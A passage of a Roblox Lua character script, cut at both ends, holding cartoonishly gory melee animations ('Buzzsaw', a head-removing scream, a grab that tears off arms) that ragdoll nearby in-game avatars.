RootPart.CFrame = ROOT.CFrame*CF(0,0,2.25) if TARGET.Name == "Torso" then local RARM = TARGET.Parent:FindFirstChild("Right Arm") local LARM = TARGET.Parent:FindFirstChild("Left Arm") if RARM and LARM then for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(90), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for _, c in pairs(TARGET.Parent:GetDescendants()) do if c:IsA("JointInstance") then if c.Part1 == RARM or c.Part1 == LARM or c.Part0 == RARM or c.Part0 == LARM then c:remove() end end end CreateSound(363808674, TARGET, 3, MRANDOM(7,9)/10, false) CreateWeldOrSnapOrMotor("Weld", RightArm, RightArm, RARM, CF(0,-1.35,0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0)) CreateWeldOrSnapOrMotor("Weld", LeftArm, LeftArm, LARM, CF(0,-1.35,0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0)) for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0.25) * ANGLES(RAD(-25), RAD(0), RAD(80)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-30)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.6) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-65), RAD(0), RAD(0)) * CF(0,1.5,0), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-45), RAD(0)) * ANGLES(RAD(-35), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 0.1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.2, 0.25) * ANGLES(RAD(-35), RAD(0), RAD(80)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-30)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.6) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-65), RAD(0), RAD(0)) * CF(0,-0.3,0), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-45), RAD(0)) * ANGLES(RAD(-35), RAD(0), RAD(0)), 1 / Animation_Speed) end GORED = true Ragdoll(TARGET.Parent,Torso) if ROOT.Name ~= "Torso" then ROOT:remove() end local RGRAB = CreateWeldOrSnapOrMotor("Weld", RightArm, RightArm, RARM, CF(0,-1.35,0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0)) local LGRAB = CreateWeldOrSnapOrMotor("Weld", LeftArm, LeftArm, LARM, CF(0,-1.35,0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0)) local bv = Instance.new("BodyVelocity",TARGET) bv.maxForce = Vector3.new(1e9, 1e9, 1e9) bv.velocity = TARGET.CFrame.lookVector*75 Debris:AddItem(bv,0.05) CreateSound(621557962, RightLeg, 1, MRANDOM(7,9)/10, false) for i=0, 0.5, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.2, 0.25) * ANGLES(RAD(-35), RAD(0), RAD(80)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-30)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(160), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.6) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-65), RAD(0), RAD(0)) * CF(0,-0.3,0), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-45), RAD(0)) * ANGLES(RAD(-35), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(25), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(0), RAD(0), RAD(90)) * RIGHTSHOULDERC0, 0.6 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(0), RAD(0), RAD(-90)) * LEFTSHOULDERC0, 0.6 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end local HITBOX = CreatePart(3, RARM, "Metal", 0, 1, "Really black", "Part", RARM.Size, false) HITBOX.CFrame = RARM.CFrame HITBOX.CanCollide = true weldBetween(RARM,HITBOX) local HITBOX = CreatePart(3, LARM, "Metal", 0, 1, "Really black", "Part", RARM.Size, false) HITBOX.CFrame = LARM.CFrame HITBOX.CanCollide = true weldBetween(LARM,HITBOX) RGRAB:remove() LGRAB:remove() for i=0, 0.4, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(25), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.4) * ANGLES(RAD(0), RAD(0), RAD(110)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.4) * ANGLES(RAD(0), RAD(0), RAD(-110)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end end elseif TARGET.Name == "UpperTorso" then if TARGET.Parent:FindFirstChild("RightUpperArm") and TARGET.Parent:FindFirstChild("LeftUpperArm") then for i=0, 0.3, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.45, 0.5, -0.5) * ANGLES(RAD(140), RAD(0), RAD(45)) * ANGLES(RAD(0), RAD(25), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end local SAWBLADE = CreatePart(3, Weapon, "Neon", 0, 0.5, "Really red", "Part", VT(0,0,0),false) local WELD = CreateWeldOrSnapOrMotor("Weld", RightArm, RightArm, SAWBLADE, CF(0,-1,0) * ANGLES(RAD(0), RAD(90), RAD(0)), CF(0, 0, 0)) local BLADE = true CreateMesh("SpecialMesh", SAWBLADE, "FileMesh", "74322089", "", VT(1,1,1), VT(0,0,0)) coroutine.resume(coroutine.create(function() repeat Swait() WELD.C1 = WELD.C1 * ANGLES(RAD(0), RAD(0), RAD(25)) until BLADE == false SAWBLADE:remove() end)) CreateSound(1165167936, SAWBLADE, 2, 1, true) for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.45, 0.5, -0.5) * ANGLES(RAD(140), RAD(0), RAD(45)) * ANGLES(RAD(0), RAD(25), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 3, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.45, 0.5, -0.5) * ANGLES(RAD(15), RAD(0), RAD(45)) * ANGLES(RAD(0), RAD(-25), RAD(0)) * RIGHTSHOULDERC0, 0.1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end CreateSound(363808674, TARGET, 3, MRANDOM(7,9)/10, false) TARGET.Parent:FindFirstChild("RightUpperArm").RightShoulder:remove() for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(1, 0, 0.3) * ANGLES(RAD(0), RAD(0), RAD(90)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-80)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.45, 0.5, 0) * ANGLES(RAD(140), RAD(0), RAD(90)) * ANGLES(RAD(0), RAD(45), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 3, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(1, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(90)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-80)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(15)) * ANGLES(RAD(0), RAD(-45), RAD(0)) * RIGHTSHOULDERC0, 0.1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end CreateSound(363808674, TARGET, 3, MRANDOM(7,9)/10, false) TARGET.Parent:FindFirstChild("LeftUpperArm").LeftShoulder:remove() BLADE = false for i=0, 0.5, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0.25) * ANGLES(RAD(-25), RAD(0), RAD(80)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-30)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(45), RAD(0)) * ANGLES(RAD(-25), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-15), RAD(0), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.6) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-65), RAD(0), RAD(0)) * CF(0,1.5,0), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-45), RAD(0)) * ANGLES(RAD(-35), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 0.1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.2, 0.25) * ANGLES(RAD(-35), RAD(0), RAD(80)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-30)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(45), RAD(0)) * ANGLES(RAD(-32), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-20), RAD(0), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.6) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-65), RAD(0), RAD(0)) * CF(0,-0.3,0), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-45), RAD(0)) * ANGLES(RAD(-35), RAD(0), RAD(0)), 1 / Animation_Speed) end GORED = true TARGET.Parent:BreakJoints() R15Ragdoll(TARGET.Parent) if ROOT.Name ~= "Torso" then ROOT:remove() end local bv = Instance.new("BodyVelocity",TARGET) bv.maxForce = Vector3.new(1e9, 1e9, 1e9) bv.velocity = TARGET.CFrame.lookVector*75 Debris:AddItem(bv,0.05) CreateSound(621557962, RightLeg, 1, MRANDOM(7,9)/10, false) for i=0, 0.3, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.2, 0.25) * ANGLES(RAD(-35), RAD(0), RAD(80)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-30)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(45), RAD(0)) * ANGLES(RAD(-32), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-20), RAD(0), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.6) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-65), RAD(0), RAD(0)) * CF(0,-0.3,0), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-45), RAD(0)) * ANGLES(RAD(-35), RAD(0), RAD(0)), 1 / Animation_Speed) end end end end ATTACK = false Rooted = false end function Buzzsaw() ATTACK = true Rooted = false local ARMSPEED = 0.1 local TARGET = nil local ROOT = nil local HUMAN = nil local DIST = 4 local SAWBLADE = CreatePart(3, Weapon, "Neon", 0, 0.5, "Really red", "Part", VT(0,0,0),false) local WELD = CreateWeldOrSnapOrMotor("Weld", RightArm, RightArm, SAWBLADE, CF(0,-1,0) * ANGLES(RAD(0), RAD(90), RAD(0)), CF(0, 0, 0)) local BLADE = true CreateMesh("SpecialMesh", SAWBLADE, "FileMesh", "74322089", "", VT(2,2,1), VT(0,0,0)) coroutine.resume(coroutine.create(function() repeat Swait() WELD.C1 = WELD.C1 * ANGLES(RAD(0), RAD(0), RAD(25)) until BLADE == false SAWBLADE:remove() end)) CreateSound(1165167936, SAWBLADE, 2, 1, true) for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.55, 0.5, -0.5) * ANGLES(RAD(175), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 2, 0.1 / Animation_Speed do Swait() local CHILDREN = workspace:GetDescendants() for index, CHILD in pairs(CHILDREN) do if CHILD.ClassName == "Model" and CHILD ~= Character then local HUM = CHILD:FindFirstChildOfClass("Humanoid") if HUM then local TORSO = CHILD:FindFirstChild("HumanoidRootPart") or CHILD:FindFirstChild("Torso") or CHILD:FindFirstChild("UpperTorso") end end end if ROOT then break end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.55, 0.5, -0.5) * ANGLES(RAD(15), RAD(0), RAD(45)) * ANGLES(RAD(0), RAD(-45), RAD(0)) * RIGHTSHOULDERC0, ARMSPEED / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end if ROOT then ARMSPEED = 0.03 Rooted = true RootPart.CFrame = ROOT.CFrame*CF(0,0,2.5) ROOT.Anchored = false end BLADE = false ATTACK = false Rooted = false end function ReeeEEEEEE() ATTACK = true Rooted = false Speed = 12 local FX = CreateSound(198165368, Head, 4, 0.5, false) repeat Swait() FX.Parent = Head local CHILDREN = workspace:GetDescendants() for index, CHILD in pairs(CHILDREN) do if CHILD.ClassName == "Model" and CHILD ~= Character then local HUM = CHILD:FindFirstChildOfClass("Humanoid") if HUM then local TORSO = CHILD:FindFirstChild("Head") if TORSO then if (TORSO.Position - Head.Position).Magnitude <= 25 then WACKYEFFECT({Time = 45, EffectType = "Sphere", Size = VT(1,1,1), Size2 = VT(5,5,5), Transparency = 0, Transparency2 = 1, CFrame = CF(TORSO.Position), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) TORSO:remove() if CHILD:FindFirstChild("Torso") then Ragdoll(CHILD,Torso,true) elseif CHILD:FindFirstChild("UpperTorso") then R15Ragdoll(CHILD,true) end end end end end end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.5, 0) * ANGLES(RAD(-45), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-45), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-35), RAD(0), RAD(15)) * ANGLES(RAD(0), RAD(15), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-35), RAD(0), RAD(-15)) * ANGLES(RAD(0), RAD(-15), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(-45), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(-45), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) until FX.Playing == false Speed = 16 ATTACK = false Rooted = false end function Needle() ATTACK = true Rooted = true local GYRO = IT("BodyGyro",RootPart) GYRO.D = 2 GYRO.P = 2000 GYRO.MaxTorque = VT(0,4000000,0) local NEEDGYRO = true coroutine.resume(coroutine.create(function() repeat Swait() GYRO.CFrame = CF(RootPart.Position,Mouse.Hit.p) until NEEDGYRO == false GYRO:Remove() end)) for i=0, 0.3, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -1) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.5, -0.5) * ANGLES(RAD(90), RAD(0), RAD(45)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, -0.5) * ANGLES(RAD(25), RAD(0), RAD(80)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, 0, -1) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1.5, 0) * ANGLES(RAD(-90), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -1) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(15), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.15, 0.5, -0.5) * ANGLES(RAD(90), RAD(0), RAD(45)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, -0.5) * ANGLES(RAD(25), RAD(0), 